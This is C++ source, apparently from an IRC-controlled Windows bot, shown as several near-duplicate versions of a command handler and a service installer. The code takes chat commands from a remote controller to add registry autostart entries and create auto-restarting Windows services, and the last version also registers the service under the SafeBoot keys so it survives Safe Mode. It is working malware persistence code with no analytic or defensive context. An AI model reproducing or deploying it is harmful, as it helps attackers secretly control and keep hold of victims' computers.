bool CInstaller::HandleCommand(CMessage *pMsg) { #ifdef WIN32 if(!pMsg->sCmd.Compare(m_cmdAsAdd.szName)) { CString sValue=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); if(RegStartAdd(sValue, sFile)) pMsg->pReply->DoReplyF(pMsg, "Added registry autostart value \"%s\" as \"%s\".", sValue.CStr(), sFile.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdAsDel.szName)) { CString sValue=pMsg->sChatString.Token(1, " ", true); if(RegStartDel(sValue)) pMsg->pReply->DoReplyF(pMsg, "Deleted registry autostart value \"%s\".", sValue.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcAdd.szName)) { CString sService=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); CString sParams=pMsg->sChatString.Token(3, " ", true); if(ServiceAddInt(sService, sFile, sParams)) pMsg->pReply->DoReplyF(pMsg, "Added service with name \"%s\" as \"\"%s\" %s\".", sService.CStr(), sFile.CStr(), sParams.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcDel.szName)) { CString sService=pMsg->sChatString.Token(1, " ", true); if(ServiceDel(sService)) pMsg->pReply->DoReplyF(pMsg, "Deleted service with name \"%s\".", sService.CStr()); return true; } #endif // WIN32 return false; }
bool CInstaller::HandleCommand(CMessage *pMsg) { #ifdef WIN32 if(!pMsg->sCmd.Compare("inst.asadd")) { CString sValue=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); if(RegStartAdd(sValue, sFile)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Added registry autostart value \"%s\" as \"%s\".", sValue.CStr(), sFile.CStr()); return true; } else if(!pMsg->sCmd.Compare("inst.asdel")) { CString sValue=pMsg->sChatString.Token(1, " ", true); if(RegStartDel(sValue)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Deleted registry autostart value \"%s\".", sValue.CStr()); return true; } else if(!pMsg->sCmd.Compare("inst.svcadd")) { CString sService=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); CString sParams=pMsg->sChatString.Token(3, " ", true); if(ServiceAddInt(sService, sFile, sParams)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Added service with name \"%s\" as \"\"%s\" %s\".", sService.CStr(), sFile.CStr(), sParams.CStr()); return true; } else if(!pMsg->sCmd.Compare("inst.svcdel")) { CString sService=pMsg->sChatString.Token(1, " ", true); if(ServiceDel(sService)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Deleted service with name \"%s\".", sService.CStr()); return true; } #endif // WIN32 return false; }
bool CInstaller::ServiceAddInt(CString &sServicename, CString &sFilename, CString &sParams) { SC_HANDLE hServiceControl=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if(!hServiceControl) return false; CString sSvcCmd; sSvcCmd.Format("\"%s\" %s", sFilename.CStr(), sParams.CStr()); SC_HANDLE hService=CreateService(hServiceControl, sServicename.CStr(), g_pMainCtrl->m_cBot.as_valname.sValue.CStr(), SERVICE_ALL_ACCESS, \ SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, \ sSvcCmd.CStr(), NULL, NULL, NULL, NULL, NULL); if(!hService) { DWORD dwError=GetLastError(); if(dwError==ERROR_SERVICE_EXISTS) { ServiceDel(sServicename); CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return ServiceAdd(sServicename, sFilename); } else { CloseServiceHandle(hServiceControl); return false; } } SC_ACTION scActions[1]; scActions[0].Delay=1; scActions[0].Type=SC_ACTION_RESTART; SERVICE_FAILURE_ACTIONS sfActions; sfActions.dwResetPeriod=INFINITE; sfActions.lpRebootMsg=NULL; sfActions.lpCommand=NULL; sfActions.cActions=1; sfActions.lpsaActions=scActions; if(!ChangeServiceConfig2(hService, SERVICE_CONFIG_FAILURE_ACTIONS, &sfActions)) { CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return false; } CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return true; }
bool CInstaller::HandleCommand(CMessage *pMsg) { #ifdef WIN32 if(!pMsg->sCmd.Compare(m_cmdAsAdd.sName.Str())) { CString sValue=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); if(RegStartAdd(sValue, sFile)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "reg(add) \"%s\" as \"%s\".", sValue.CStr(), sFile.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdAsDel.sName.Str())) { CString sValue=pMsg->sChatString.Token(1, " ", true); if(RegStartDel(sValue)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "reg(del) \"%s\".", sValue.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcAdd.sName.Str())) { CString sService=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); CString sParams=pMsg->sChatString.Token(3, " ", true); if(ServiceAddInt(sService, sFile, sParams)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "serv(add) \"%s\" as \"\"%s\" %s\".", sService.CStr(), sFile.CStr(), sParams.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcDel.sName.Str())) { CString sService=pMsg->sChatString.Token(1, " ", true); if(ServiceDel(sService)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "serv(del) \"%s\".", sService.CStr()); return true; } #endif // WIN32 return false; }
bool CInstaller::ServiceAddInt(CString &sServicename, CString &sFilename, CString &sParams) { SC_HANDLE hServiceControl=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if(!hServiceControl) return false; CString sSvcCmd; sSvcCmd.Format("\"%s\" %s", sFilename.CStr(), sParams.CStr()); SC_HANDLE hService=CreateService(hServiceControl, sServicename.CStr(), g_pMainCtrl->m_pBot->as_valname.sValue.CStr(), SERVICE_ALL_ACCESS, \ SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, \ sSvcCmd.CStr(), NULL, NULL, NULL, NULL, NULL); if(!hService) { DWORD dwError=GetLastError(); if(dwError==ERROR_SERVICE_EXISTS) { ServiceDel(sServicename); CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return ServiceAdd(sServicename, sFilename); } else { CloseServiceHandle(hServiceControl); return false; } } SC_ACTION scActions[1]; scActions[0].Delay=1; scActions[0].Type=SC_ACTION_RESTART; SERVICE_FAILURE_ACTIONS sfActions; sfActions.dwResetPeriod=INFINITE; sfActions.lpRebootMsg=NULL; sfActions.lpCommand=NULL; sfActions.cActions=1; sfActions.lpsaActions=scActions; if(!ChangeServiceConfig2(hService, SERVICE_CONFIG_FAILURE_ACTIONS, &sfActions)) { CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return false; } CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); HKEY key; HKEY lhmin; HKEY lhnet; HKEY lhnew; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "Service"); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\", 0, KEY_READ, &key); RegOpenKeyEx(key, "Minimal",0,KEY_ALL_ACCESS, &lhmin); RegOpenKeyEx(key, "Network",0,KEY_ALL_ACCESS, &lhnet); RegCreateKeyEx(lhmin, sServicename.CStr(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &lhnew, NULL); RegSetValueEx(lhnew, sServicename.CStr(), NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCreateKeyEx(lhnet, sServicename.CStr(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &lhnew, NULL); RegSetValueEx(lhnew, sServicename.CStr(), NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(lhnet); RegCloseKey(lhmin); RegCloseKey(key); return true; }